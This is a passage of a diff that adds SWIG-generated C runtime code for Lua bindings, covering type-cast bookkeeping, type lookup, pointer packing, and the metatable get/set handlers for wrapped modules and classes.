+#define SWIG_NEWOBJMASK            (SWIG_CASTRANKLIMIT  << 1)
+/* The TmpMask is for in/out typemaps that use temporal objects */
+#define SWIG_TMPOBJMASK            (SWIG_NEWOBJMASK << 1)
+/* Simple returning values */
+#define SWIG_BADOBJ                (SWIG_ERROR)
+#define SWIG_OLDOBJ                (SWIG_OK)
+#define SWIG_NEWOBJ                (SWIG_OK | SWIG_NEWOBJMASK)
+#define SWIG_TMPOBJ                (SWIG_OK | SWIG_TMPOBJMASK)
+/* Check, add and del mask methods */
+#define SWIG_AddNewMask(r)         (SWIG_IsOK(r) ? (r | SWIG_NEWOBJMASK) : r)
+#define SWIG_DelNewMask(r)         (SWIG_IsOK(r) ? (r & ~SWIG_NEWOBJMASK) : r)
+#define SWIG_IsNewObj(r)           (SWIG_IsOK(r) && (r & SWIG_NEWOBJMASK))
+#define SWIG_AddTmpMask(r)         (SWIG_IsOK(r) ? (r | SWIG_TMPOBJMASK) : r)
+#define SWIG_DelTmpMask(r)         (SWIG_IsOK(r) ? (r & ~SWIG_TMPOBJMASK) : r)
+#define SWIG_IsTmpObj(r)           (SWIG_IsOK(r) && (r & SWIG_TMPOBJMASK))
+
+
+/* Cast-Rank Mode */
+#if defined(SWIG_CASTRANK_MODE)
+#  ifndef SWIG_TypeRank
+#    define SWIG_TypeRank             unsigned long
+#  endif
+#  ifndef SWIG_MAXCASTRANK            /* Default cast allowed */
+#    define SWIG_MAXCASTRANK          (2)
+#  endif
+#  define SWIG_CASTRANKMASK          ((SWIG_CASTRANKLIMIT) -1)
+#  define SWIG_CastRank(r)           (r & SWIG_CASTRANKMASK)
+SWIGINTERNINLINE int SWIG_AddCast(int r) { 
+  return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r;
+}
+SWIGINTERNINLINE int SWIG_CheckState(int r) { 
+  return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; 
+}
+#else /* no cast-rank mode */
+#  define SWIG_AddCast
+#  define SWIG_CheckState(r) (SWIG_IsOK(r) ? 1 : 0)
+#endif
+
+
+
+
+#include <string.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef void *(*swig_converter_func)(void *, int *);
+typedef struct swig_type_info *(*swig_dycast_func)(void **);
+
+/* Structure to store information on one type */
+typedef struct swig_type_info {
+  const char             *name;			/* mangled name of this type */
+  const char             *str;			/* human readable name of this type */
+  swig_dycast_func        dcast;		/* dynamic cast function down a hierarchy */
+  struct swig_cast_info  *cast;			/* linked list of types that can cast into this type */
+  void                   *clientdata;		/* language specific type data */
+  int                    owndata;		/* flag if the structure owns the clientdata */
+} swig_type_info;
+
+/* Structure to store a type and conversion function used for casting */
+typedef struct swig_cast_info {
+  swig_type_info         *type;			/* pointer to type that is equivalent to this type */
+  swig_converter_func     converter;		/* function to cast the void pointers */
+  struct swig_cast_info  *next;			/* pointer to next cast in linked list */
+  struct swig_cast_info  *prev;			/* pointer to the previous cast */
+} swig_cast_info;
+
+/* Structure used to store module information
+ * Each module generates one structure like this, and the runtime collects
+ * all of these structures and stores them in a circularly linked list.*/
+typedef struct swig_module_info {
+  swig_type_info         **types;		/* Array of pointers to swig_type_info structures that are in this module */
+  size_t                 size;		        /* Number of types in this module */
+  struct swig_module_info *next;		/* Pointer to next element in circularly linked list */
+  swig_type_info         **type_initial;	/* Array of initially generated type structures */
+  swig_cast_info         **cast_initial;	/* Array of initially generated casting structures */
+  void                    *clientdata;		/* Language specific module data */
+} swig_module_info;
+
+/* 
+  Compare two type names skipping the space characters, therefore
+  "char*" == "char *" and "Class<int>" == "Class<int >", etc.
+
+  Return 0 when the two name types are equivalent, as in
+  strncmp, but skipping ' '.
+*/
+SWIGRUNTIME int
+SWIG_TypeNameComp(const char *f1, const char *l1,
+		  const char *f2, const char *l2) {
+  for (;(f1 != l1) && (f2 != l2); ++f1, ++f2) {
+    while ((*f1 == ' ') && (f1 != l1)) ++f1;
+    while ((*f2 == ' ') && (f2 != l2)) ++f2;
+    if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1;
+  }
+  return (int)((l1 - f1) - (l2 - f2));
+}
+
+/*
+  Check type equivalence in a name list like <name1>|<name2>|...
+  Return 0 if not equal, 1 if equal
+*/
+SWIGRUNTIME int
+SWIG_TypeEquiv(const char *nb, const char *tb) {
+  int equiv = 0;
+  const char* te = tb + strlen(tb);
+  const char* ne = nb;
+  while (!equiv && *ne) {
+    for (nb = ne; *ne; ++ne) {
+      if (*ne == '|') break;
+    }
+    equiv = (SWIG_TypeNameComp(nb, ne, tb, te) == 0) ? 1 : 0;
+    if (*ne) ++ne;
+  }
+  return equiv;
+}
+
+/*
+  Check type equivalence in a name list like <name1>|<name2>|...
+  Return 0 if equal, -1 if nb < tb, 1 if nb > tb
+*/
+SWIGRUNTIME int
+SWIG_TypeCompare(const char *nb, const char *tb) {
+  int equiv = 0;
+  const char* te = tb + strlen(tb);
+  const char* ne = nb;
+  while (!equiv && *ne) {
+    for (nb = ne; *ne; ++ne) {
+      if (*ne == '|') break;
+    }
+    equiv = (SWIG_TypeNameComp(nb, ne, tb, te) == 0) ? 1 : 0;
+    if (*ne) ++ne;
+  }
+  return equiv;
+}
+
+
+/* think of this as a c++ template<> or a scheme macro */
+#define SWIG_TypeCheck_Template(comparison, ty)         \
+  if (ty) {                                             \
+    swig_cast_info *iter = ty->cast;                    \
+    while (iter) {                                      \
+      if (comparison) {                                 \
+        if (iter == ty->cast) return iter;              \
+        /* Move iter to the top of the linked list */   \
+        iter->prev->next = iter->next;                  \
+        if (iter->next)                                 \
+          iter->next->prev = iter->prev;                \
+        iter->next = ty->cast;                          \
+        iter->prev = 0;                                 \
+        if (ty->cast) ty->cast->prev = iter;            \
+        ty->cast = iter;                                \
+        return iter;                                    \
+      }                                                 \
+      iter = iter->next;                                \
+    }                                                   \
+  }                                                     \
+  return 0
+
+/*
+  Check the typename
+*/
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeCheck(const char *c, swig_type_info *ty) {
+  SWIG_TypeCheck_Template(strcmp(iter->type->name, c) == 0, ty);
+}
+
+/* Same as previous function, except strcmp is replaced with a pointer comparison */
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeCheckStruct(swig_type_info *from, swig_type_info *into) {
+  SWIG_TypeCheck_Template(iter->type == from, into);
+}
+
+/*
+  Cast a pointer up an inheritance hierarchy
+*/
+SWIGRUNTIMEINLINE void *
+SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) {
+  return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory);
+}
+
+/* 
+   Dynamic pointer casting. Down an inheritance hierarchy
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) {
+  swig_type_info *lastty = ty;
+  if (!ty || !ty->dcast) return ty;
+  while (ty && (ty->dcast)) {
+    ty = (*ty->dcast)(ptr);
+    if (ty) lastty = ty;
+  }
+  return lastty;
+}
+
+/*
+  Return the name associated with this type
+*/
+SWIGRUNTIMEINLINE const char *
+SWIG_TypeName(const swig_type_info *ty) {
+  return ty->name;
+}
+
+/*
+  Return the pretty name associated with this type,
+  that is an unmangled type name in a form presentable to the user.
+*/
+SWIGRUNTIME const char *
+SWIG_TypePrettyName(const swig_type_info *type) {
+  /* The "str" field contains the equivalent pretty names of the
+     type, separated by vertical-bar characters.  We choose
+     to print the last name, as it is often (?) the most
+     specific. */
+  if (!type) return NULL;
+  if (type->str != NULL) {
+    const char *last_name = type->str;
+    const char *s;
+    for (s = type->str; *s; s++)
+      if (*s == '|') last_name = s+1;
+    return last_name;
+  }
+  else
+    return type->name;
+}
+
+/* 
+   Set the clientdata field for a type
+*/
+SWIGRUNTIME void
+SWIG_TypeClientData(swig_type_info *ti, void *clientdata) {
+  swig_cast_info *cast = ti->cast;
+  /* if (ti->clientdata == clientdata) return; */
+  ti->clientdata = clientdata;
+  
+  while (cast) {
+    if (!cast->converter) {
+      swig_type_info *tc = cast->type;
+      if (!tc->clientdata) {
+	SWIG_TypeClientData(tc, clientdata);
+      }
+    }    
+    cast = cast->next;
+  }
+}
+SWIGRUNTIME void
+SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) {
+  SWIG_TypeClientData(ti, clientdata);
+  ti->owndata = 1;
+}
+  
+/*
+  Search for a swig_type_info structure only by mangled name
+  Search is a O(log #types)
+  
+  We start searching at module start, and finish searching when start == end.  
+  Note: if start == end at the beginning of the function, we go all the way around
+  the circular list.
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_MangledTypeQueryModule(swig_module_info *start, 
+                            swig_module_info *end, 
+		            const char *name) {
+  swig_module_info *iter = start;
+  do {
+    if (iter->size) {
+      register size_t l = 0;
+      register size_t r = iter->size - 1;
+      do {
+	/* since l+r >= 0, we can (>> 1) instead (/ 2) */
+	register size_t i = (l + r) >> 1; 
+	const char *iname = iter->types[i]->name;
+	if (iname) {
+	  register int compare = strcmp(name, iname);
+	  if (compare == 0) {	    
+	    return iter->types[i];
+	  } else if (compare < 0) {
+	    if (i) {
+	      r = i - 1;
+	    } else {
+	      break;
+	    }
+	  } else if (compare > 0) {
+	    l = i + 1;
+	  }
+	} else {
+	  break; /* should never happen */
+	}
+      } while (l <= r);
+    }
+    iter = iter->next;
+  } while (iter != end);
+  return 0;
+}
+
+/*
+  Search for a swig_type_info structure for either a mangled name or a human readable name.
+  It first searches the mangled names of the types, which is a O(log #types)
+  If a type is not found it then searches the human readable names, which is O(#types).
+  
+  We start searching at module start, and finish searching when start == end.  
+  Note: if start == end at the beginning of the function, we go all the way around
+  the circular list.
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_TypeQueryModule(swig_module_info *start, 
+                     swig_module_info *end, 
+		     const char *name) {
+  /* STEP 1: Search the name field using binary search */
+  swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name);
+  if (ret) {
+    return ret;
+  } else {
+    /* STEP 2: If the type hasn't been found, do a complete search
+       of the str field (the human readable name) */
+    swig_module_info *iter = start;
+    do {
+      register size_t i = 0;
+      for (; i < iter->size; ++i) {
+	if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name)))
+	  return iter->types[i];
+      }
+      iter = iter->next;
+    } while (iter != end);
+  }
+  
+  /* neither found a match */
+  return 0;
+}
+
+/* 
+   Pack binary data into a string
+*/
+SWIGRUNTIME char *
+SWIG_PackData(char *c, void *ptr, size_t sz) {
+  static const char hex[17] = "0123456789abcdef";
+  register const unsigned char *u = (unsigned char *) ptr;
+  register const unsigned char *eu =  u + sz;
+  for (; u != eu; ++u) {
+    register unsigned char uu = *u;
+    *(c++) = hex[(uu & 0xf0) >> 4];
+    *(c++) = hex[uu & 0xf];
+  }
+  return c;
+}
+
+/* 
+   Unpack binary data from a string
+*/
+SWIGRUNTIME const char *
+SWIG_UnpackData(const char *c, void *ptr, size_t sz) {
+  register unsigned char *u = (unsigned char *) ptr;
+  register const unsigned char *eu = u + sz;
+  for (; u != eu; ++u) {
+    register char d = *(c++);
+    register unsigned char uu;
+    if ((d >= '0') && (d <= '9'))
+      uu = ((d - '0') << 4);
+    else if ((d >= 'a') && (d <= 'f'))
+      uu = ((d - ('a'-10)) << 4);
+    else 
+      return (char *) 0;
+    d = *(c++);
+    if ((d >= '0') && (d <= '9'))
+      uu |= (d - '0');
+    else if ((d >= 'a') && (d <= 'f'))
+      uu |= (d - ('a'-10));
+    else 
+      return (char *) 0;
+    *u = uu;
+  }
+  return c;
+}
+
+/* 
+   Pack 'void *' into a string buffer.
+*/
+SWIGRUNTIME char *
+SWIG_PackVoidPtr(char *buff, void *ptr, const char *name, size_t bsz) {
+  char *r = buff;
+  if ((2*sizeof(void *) + 2) > bsz) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r,&ptr,sizeof(void *));
+  if (strlen(name) + 1 > (bsz - (r - buff))) return 0;
+  strcpy(r,name);
+  return buff;
+}
+
+SWIGRUNTIME const char *
+SWIG_UnpackVoidPtr(const char *c, void **ptr, const char *name) {
+  if (*c != '_') {
+    if (strcmp(c,"NULL") == 0) {
+      *ptr = (void *) 0;
+      return name;
+    } else {
+      return 0;
+    }
+  }
+  return SWIG_UnpackData(++c,ptr,sizeof(void *));
+}
+
+SWIGRUNTIME char *
+SWIG_PackDataName(char *buff, void *ptr, size_t sz, const char *name, size_t bsz) {
+  char *r = buff;
+  size_t lname = (name ? strlen(name) : 0);
+  if ((2*sz + 2 + lname) > bsz) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r,ptr,sz);
+  if (lname) {
+    strncpy(r,name,lname+1);
+  } else {
+    *r = 0;
+  }
+  return buff;
+}
+
+SWIGRUNTIME const char *
+SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) {
+  if (*c != '_') {
+    if (strcmp(c,"NULL") == 0) {
+      memset(ptr,0,sz);
+      return name;
+    } else {
+      return 0;
+    }
+  }
+  return SWIG_UnpackData(++c,ptr,sz);
+}
+
+#ifdef __cplusplus
+}
+#endif
+
+/* -----------------------------------------------------------------------------
+ * See the LICENSE file for information on copyright, usage and redistribution
+ * of SWIG, and the README file for authors - http://www.swig.org/release.html.
+ *
+ * luarun.swg
+ *
+ * This file contains the runtime support for Lua modules
+ * and includes code for managing global variables and pointer
+ * type checking.
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include "lua.h"
+#include "lauxlib.h"
+#include <stdlib.h>  /* for malloc */
+#include <assert.h>  /* for a few sanity tests */
+
+/* -----------------------------------------------------------------------------
+ * global swig types
+ * ----------------------------------------------------------------------------- */
+/* Constant table */
+#define SWIG_LUA_INT     1
+#define SWIG_LUA_FLOAT   2
+#define SWIG_LUA_STRING  3
+#define SWIG_LUA_POINTER 4
+#define SWIG_LUA_BINARY  5
+#define SWIG_LUA_CHAR    6
+
+/* Structure for variable linking table */
+typedef struct {
+  const char *name;
+  lua_CFunction get;
+  lua_CFunction set;
+} swig_lua_var_info;
+
+/* Constant information structure */
+typedef struct {
+    int type;
+    char *name;
+    long lvalue;
+    double dvalue;
+    void   *pvalue;
+    swig_type_info **ptype;
+} swig_lua_const_info;
+
+typedef struct {
+  const char     *name;
+  lua_CFunction   method;
+} swig_lua_method;
+
+typedef struct {
+  const char     *name;
+  lua_CFunction   getmethod;
+  lua_CFunction   setmethod;
+} swig_lua_attribute;
+
+typedef struct swig_lua_class {
+  const char    *name;
+  swig_type_info   **type;
+  lua_CFunction  constructor;
+  void    (*destructor)(void *);
+  swig_lua_method   *methods;
+  swig_lua_attribute     *attributes;
+  struct swig_lua_class **bases;
+  const char **base_names;
+} swig_lua_class;
+
+/* this is the struct for wrappering all pointers in SwigLua
+*/
+typedef struct {
+  swig_type_info   *type;
+  int     own;  /* 1 if owned & must be destroyed */
+  void        *ptr;
+} swig_lua_userdata;
+
+/* this is the struct for wrapping arbitary packed binary data
+(currently it is only used for member function pointers)
+the data ordering is similar to swig_lua_userdata, but it is currently not possible
+to tell the two structures apart within Swig, other than by looking at the type
+*/
+typedef struct {
+  swig_type_info   *type;
+  int     own;  /* 1 if owned & must be destroyed */
+  char data[1];       /* arbitary amount of data */    
+} swig_lua_rawdata;
+
+/* Common SWIG API */
+#define SWIG_NewPointerObj(L, ptr, type, owner)       SWIG_Lua_NewPointerObj(L, (void *)ptr, type, owner)
+#define SWIG_ConvertPtr(L,idx, ptr, type, flags)    SWIG_Lua_ConvertPtr(L,idx,ptr,type,flags)
+#define SWIG_MustGetPtr(L,idx, type,flags, argnum,fnname)  SWIG_Lua_MustGetPtr(L,idx, type,flags, argnum,fnname)
+/* for C++ member pointers, ie, member methods */
+#define SWIG_ConvertMember(L, idx, ptr, sz, ty)       SWIG_Lua_ConvertPacked(L, idx, ptr, sz, ty)
+#define SWIG_NewMemberObj(L, ptr, sz, type)      SWIG_Lua_NewPackedObj(L, ptr, sz, type)
+
+/* Runtime API */
+#define SWIG_GetModule(clientdata) SWIG_Lua_GetModule((lua_State*)(clientdata))
+#define SWIG_SetModule(clientdata, pointer) SWIG_Lua_SetModule((lua_State*) (clientdata), pointer)
+#define SWIG_MODULE_CLIENTDATA_TYPE lua_State*
+
+/* Contract support */
+#define SWIG_contract_assert(expr, msg)  \
+  if (!(expr)) { lua_pushstring(L, (char *) msg); goto fail; } else
+
+/* helper #defines */
+#define SWIG_fail {goto fail;}
+#define SWIG_fail_arg(func_name,argnum,type) \
+  {lua_pushfstring(L,"Error in %s (arg %d), expected '%s' got '%s'",\
+  func_name,argnum,type,SWIG_Lua_typename(L,argnum));\
+  goto fail;}
+#define SWIG_fail_ptr(func_name,argnum,type) \
+  SWIG_fail_arg(func_name,argnum,(type && type->str)?type->str:"void*")
+#define SWIG_check_num_args(func_name,a,b) \
+  if (lua_gettop(L)<a || lua_gettop(L)>b) \
+  {lua_pushfstring(L,"Error in %s expected %d..%d args, got %d",func_name,a,b,lua_gettop(L));\
+  goto fail;}
+
+
+#define SWIG_Lua_get_table(L,n) \
+  (lua_pushstring(L, n), lua_rawget(L,-2))
+
+#define SWIG_Lua_add_function(L,n,f) \
+  (lua_pushstring(L, n), \
+      lua_pushcfunction(L, f), \
+      lua_rawset(L,-3))
+
+/* special helper for allowing 'nil' for usertypes */
+#define SWIG_isptrtype(L,I) (lua_isuserdata(L,I) || lua_isnil(L,I))
+
+#ifdef __cplusplus
+/* Special helper for member function pointers 
+it gets the address, casts it, then dereferences it */
+//#define SWIG_mem_fn_as_voidptr(a)  (*((char**)&(a)))
+#endif
+
+/* storing/access of swig_module_info */
+SWIGRUNTIME swig_module_info *
+SWIG_Lua_GetModule(lua_State* L) {
+  swig_module_info *ret = 0;
+  lua_pushstring(L,"swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME);
+  lua_rawget(L,LUA_REGISTRYINDEX);
+  if (lua_islightuserdata(L,-1))
+    ret=(swig_module_info*)lua_touserdata(L,-1);
+  lua_pop(L,1);  /* tidy */
+  return ret;
+}
+
+SWIGRUNTIME void
+SWIG_Lua_SetModule(lua_State* L, swig_module_info *module) {
+  /* add this all into the Lua registry: */
+  lua_pushstring(L,"swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME);
+  lua_pushlightuserdata(L,(void*)module);
+  lua_rawset(L,LUA_REGISTRYINDEX);
+}
+
+/* -----------------------------------------------------------------------------
+ * global variable support code: modules
+ * ----------------------------------------------------------------------------- */
+
+/* this function is called when trying to set an immutable.
+default value is to print an error.
+This can removed with a compile flag SWIGLUA_IGNORE_SET_IMMUTABLE */
+SWIGINTERN int SWIG_Lua_set_immutable(lua_State* L)
+{
+/*  there should be 1 param passed in: the new value */
+#ifndef SWIGLUA_IGNORE_SET_IMMUTABLE
+  lua_pop(L,1);  /* remove it */
+  lua_pushstring(L,"This variable is immutable");
+  lua_error(L);
+#endif
+    return 0;   /* should not return anything */
+}
+
+/* the module.get method used for getting linked data */
+SWIGINTERN int SWIG_Lua_module_get(lua_State* L)
+{
+/*  there should be 2 params passed in
+  (1) table (not the meta table)
+  (2) string name of the attribute
+  printf("SWIG_Lua_module_get %p(%s) '%s'\n",
+   lua_topointer(L,1),lua_typename(L,lua_type(L,1)),
+   lua_tostring(L,2));
+*/
+  /* get the metatable */
+  assert(lua_istable(L,1));  /* just in case */
+  lua_getmetatable(L,1);  /* get the metatable */
+  assert(lua_istable(L,-1));  /* just in case */
+  SWIG_Lua_get_table(L,".get");  /* get the .get table */
+  lua_remove(L,3);  /* remove metatable */
+  if (lua_istable(L,-1))
+  {
+    /* look for the key in the .get table */
+    lua_pushvalue(L,2);  /* key */
+    lua_rawget(L,-2);
+    lua_remove(L,3);  /* remove .get */
+    if (lua_iscfunction(L,-1))
+    {  /* found it so call the fn & return its value */
+      lua_call(L,0,1);
+      return 1;
+    }
+    lua_pop(L,1);  /* remove the top */
+  }
+  lua_pop(L,1);  /* remove the .get */
+  lua_pushnil(L);  /* return a nil */
+    return 1;
+}
+
+/* the module.set method used for setting linked data */
+SWIGINTERN int SWIG_Lua_module_set(lua_State* L)
+{
+/*  there should be 3 params passed in
+  (1) table (not the meta table)
+  (2) string name of the attribute
+  (3) any for the new value
+*/
+  /* get the metatable */
+  assert(lua_istable(L,1));  /* just in case */
+  lua_getmetatable(L,1);  /* get the metatable */
+  assert(lua_istable(L,-1));  /* just in case */
+  SWIG_Lua_get_table(L,".set");  /* get the .set table */
+  lua_remove(L,4);  /* remove metatable */
+  if (lua_istable(L,-1))
+  {
+    /* look for the key in the .set table */
+    lua_pushvalue(L,2);  /* key */
+    lua_rawget(L,-2);
+    lua_remove(L,4);  /* remove .set */
+    if (lua_iscfunction(L,-1))
+    {  /* found it so call the fn & return its value */
+      lua_pushvalue(L,3);  /* value */
+      lua_call(L,1,0);
+      return 0;
+    }
+  }
+  lua_settop(L,3);  /* reset back to start */
+  /* we now have the table, key & new value, so just set directly */
+  lua_rawset(L,1);  /* add direct */
+  return 0;
+}
+
+/* registering a module in lua */
+SWIGINTERN void  SWIG_Lua_module_begin(lua_State* L,const char* name)
+{
+  assert(lua_istable(L,-1));  /* just in case */
+  lua_pushstring(L,name);
+  lua_newtable(L);   /* the table */
+  /* add meta table */
+  lua_newtable(L);    /* the meta table */
+  SWIG_Lua_add_function(L,"__index",SWIG_Lua_module_get);
+  SWIG_Lua_add_function(L,"__newindex",SWIG_Lua_module_set);
+  lua_pushstring(L,".get");
+  lua_newtable(L);    /* the .get table */
+  lua_rawset(L,-3);  /* add .get into metatable */
+  lua_pushstring(L,".set");
+  lua_newtable(L);    /* the .set table */
+  lua_rawset(L,-3);  /* add .set into metatable */
+  lua_setmetatable(L,-2);  /* sets meta table in module */
+  lua_rawset(L,-3);        /* add module into parent */
+  SWIG_Lua_get_table(L,name);   /* get the table back out */
+}
+
+/* ending the register */
+SWIGINTERN void  SWIG_Lua_module_end(lua_State* L)
+{
+  lua_pop(L,1);       /* tidy stack (remove module) */
+}
+
+/* adding a linked variable to the module */
+SWIGINTERN void SWIG_Lua_module_add_variable(lua_State* L,const char* name,lua_CFunction getFn,lua_CFunction setFn)
+{
+  assert(lua_istable(L,-1));  /* just in case */
+  lua_getmetatable(L,-1);  /* get the metatable */
+  assert(lua_istable(L,-1));  /* just in case */
+  SWIG_Lua_get_table(L,".get"); /* find the .get table */
+  assert(lua_istable(L,-1));  /* should be a table: */
+  SWIG_Lua_add_function(L,name,getFn);
+  lua_pop(L,1);       /* tidy stack (remove table) */
+  if (setFn)  /* if there is a set fn */
+  {
+    SWIG_Lua_get_table(L,".set"); /* find the .set table */
+    assert(lua_istable(L,-1));  /* should be a table: */
+    SWIG_Lua_add_function(L,name,setFn);
+    lua_pop(L,1);       /* tidy stack (remove table) */
+  }
+  lua_pop(L,1);       /* tidy stack (remove meta) */
+}
+
+/* adding a function module */
+SWIGINTERN void  SWIG_Lua_module_add_function(lua_State* L,const char* name,lua_CFunction fn)
+{
+  SWIG_Lua_add_function(L,name,fn);
+}
+
+/* -----------------------------------------------------------------------------
+ * global variable support code: classes
+ * ----------------------------------------------------------------------------- */
+
+/* the class.get method, performs the lookup of class attributes */
+SWIGINTERN int  SWIG_Lua_class_get(lua_State* L)
+{
+/*  there should be 2 params passed in
+  (1) userdata (not the meta table)
+  (2) string name of the attribute
+*/
+  assert(lua_isuserdata(L,-2));  /* just in case */
+  lua_getmetatable(L,-2);    /* get the meta table */
+  assert(lua_istable(L,-1));  /* just in case */
+  SWIG_Lua_get_table(L,".get"); /* find the .get table */
+  assert(lua_istable(L,-1));  /* just in case */
+  /* look for the key in the .get table */
+  lua_pushvalue(L,2);  /* key */
+  lua_rawget(L,-2);
+  lua_remove(L,-2); /* stack tidy, remove .get table */
+  if (lua_iscfunction(L,-1))
+  {  /* found it so call the fn & return its value */
+    lua_pushvalue(L,1);  /* the userdata */
+    lua_call(L,1,1);  /* 1 value in (userdata),1 out (result) */
+    lua_remove(L,-2); /* stack tidy, remove metatable */
+    return 1;
+  }
+  lua_pop(L,1);  /* remove whatever was there */
+  /* ok, so try the .fn table */
+  SWIG_Lua_get_table(L,".fn"); /* find the .get table */
+  assert(lua_istable(L,-1));  /* just in case */
+  lua_pushvalue(L,2);  /* key */
+  lua_rawget(L,-2);  /* look for the fn */
+  lua_remove(L,-2); /* stack tidy, remove .fn table */
+  if (lua_isfunction(L,-1)) /* note: if its a C function or lua function */
+  {  /* found it so return the fn & let lua call it */
+    lua_remove(L,-2); /* stack tidy, remove metatable */
+    return 1;
+  }
+  lua_pop(L,1);  /* remove whatever was there */
+  /* NEW: looks for the __getitem() fn
+  this is a user provided get fn */
+  SWIG_Lua_get_table(L,"__getitem"); /* find the __getitem fn */
+  if (lua_iscfunction(L,-1))  /* if its there */
+  {  /* found it so call the fn & return its value */
+    lua_pushvalue(L,1);  /* the userdata */
+    lua_pushvalue(L,2);  /* the parameter */
+    lua_call(L,2,1);  /* 2 value in (userdata),1 out (result) */
+    lua_remove(L,-2); /* stack tidy, remove metatable */
+    return 1;
+  }
+  return 0;  /* sorry not known */
+}
+
+/* the class.set method, performs the lookup of class attributes */
+SWIGINTERN int  SWIG_Lua_class_set(lua_State* L)
+{
+/*  there should be 3 params passed in
+  (1) table (not the meta table)
+  (2) string name of the attribute
+  (3) any for the new value
+printf("SWIG_Lua_class_set %p(%s) '%s' %p(%s)\n",
+      lua_topointer(L,1),lua_typename(L,lua_type(L,1)),
+      lua_tostring(L,2),
+      lua_topointer(L,3),lua_typename(L,lua_type(L,3)));*/
+
+  assert(lua_isuserdata(L,1));  /* just in case */
+  lua_getmetatable(L,1);    /* get the meta table */
+  assert(lua_istable(L,-1));  /* just in case */
+
+  SWIG_Lua_get_table(L,".set"); /* find the .set table */
+  if (lua_istable(L,-1))
+  {
+    /* look for the key in the .set table */
+    lua_pushvalue(L,2);  /* key */
+    lua_rawget(L,-2);
+    if (lua_iscfunction(L,-1))
+    {  /* found it so call the fn & return its value */
+      lua_pushvalue(L,1);  /* userdata */
+      lua_pushvalue(L,3);  /* value */
+      lua_call(L,2,0);
+      return 0;
+    }
+    lua_pop(L,1);  /* remove the value */
+  }
+  lua_pop(L,1);  /* remove the value .set table */
+  /* NEW: looks for the __setitem() fn
+  this is a user provided set fn */
+  SWIG_Lua_get_table(L,"__setitem"); /* find the fn */
+  if (lua_iscfunction(L,-1))  /* if its there */
+  {  /* found it so call the fn & return its value */
+    lua_pushvalue(L,1);  /* the userdata */
+    lua_pushvalue(L,2);  /* the parameter */
+    lua_pushvalue(L,3);  /* the value */
+    lua_call(L,3,0);  /* 3 values in ,0 out */
+    lua_remove(L,-2); /* stack tidy, remove metatable */
+    return 1;
+  }
+  return 0;
+}
+
+/* the class.destruct method called by the interpreter */
+SWIGINTERN int  SWIG_Lua_class_destruct(lua_State* L)
+{
+/*  there should be 1 params passed in
+  (1) userdata (not the meta table) */
+  swig_lua_userdata* usr;
+  swig_lua_class* clss;
+  assert(lua_isuserdata(L,-1));  /* just in case */
+  usr=(swig_lua_userdata*)lua_touserdata(L,-1);  /* get it */
+  /* if must be destroyed & has a destructor */
+  if (usr->own) /* if must be destroyed */
+  {
+    clss=(swig_lua_class*)usr->type->clientdata;  /* get the class */
+    if (clss && clss->destructor)  /* there is a destroy fn */
+    {
+      clss->destructor(usr->ptr);  /* bye bye */
+    }
+  }
+  return 0;
+}
+
+/* gets the swig class registry (or creates it) */
+SWIGINTERN void  SWIG_Lua_get_class_registry(lua_State* L)
+{
+  /* add this all into the swig registry: */
+  lua_pushstring(L,"SWIG");
+  lua_rawget(L,LUA_REGISTRYINDEX);  /* get the registry */
+  if (!lua_istable(L,-1))  /* not there */
+  {  /* must be first time, so add it */
+    lua_pop(L,1);  /* remove the result */
+    lua_pushstring(L,"SWIG");
+    lua_newtable(L);
+    lua_rawset(L,LUA_REGISTRYINDEX);
+    /* then get it */
+    lua_pushstring(L,"SWIG");
+    lua_rawget(L,LUA_REGISTRYINDEX);
+  }
+}
+
+/* helper fn to get the classes metatable from the register */
+SWIGINTERN void  SWIG_Lua_get_class_metatable(lua_State* L,const char* cname)
+{
+  SWIG_Lua_get_class_registry(L);  /* get the registry */
+  lua_pushstring(L,cname);  /* get the name */
+  lua_rawget(L,-2);    /* get it */
+  lua_remove(L,-2);    /* tidy up (remove registry) */
+}
+
+/* helper add a variable to a registered class */
+SWIGINTERN void  SWIG_Lua_add_class_variable(lua_State* L,const char* name,lua_CFunction getFn,lua_CFunction setFn)
+{
+  assert(lua_istable(L,-1));  /* just in case */
+  SWIG_Lua_get_table(L,".get"); /* find the .get table */
+  assert(lua_istable(L,-1));  /* just in case */
+  SWIG_Lua_add_function(L,name,getFn);
+  lua_pop(L,1);       /* tidy stack (remove table) */
+  if (setFn)
+  {
+    SWIG_Lua_get_table(L,".set"); /* find the .set table */
+    assert(lua_istable(L,-1));  /* just in case */
+    SWIG_Lua_add_function(L,name,setFn);
+    lua_pop(L,1);       /* tidy stack (remove table) */
+  }
+}
+
+/* helper to recursively add class details (attributes & operations) */
+SWIGINTERN void  SWIG_Lua_add_class_details(lua_State* L,swig_lua_class* clss)
+{
+  int i;
+  /* call all the base classes first: we can then override these later: */
+  for(i=0;clss->bases[i];i++)
+  {
+    SWIG_Lua_add_class_details(L,clss->bases[i]);
+  }
+  /* add fns */
+  for(i=0;clss->attributes[i].name;i++){
+    SWIG_Lua_add_class_variable(L,clss->attributes[i].name,clss->attributes[i].getmethod,clss->attributes[i].setmethod);
+  }
+  /* add methods to the metatable */
+  SWIG_Lua_get_table(L,".fn"); /* find the .fn table */
+  assert(lua_istable(L,-1));  /* just in case */
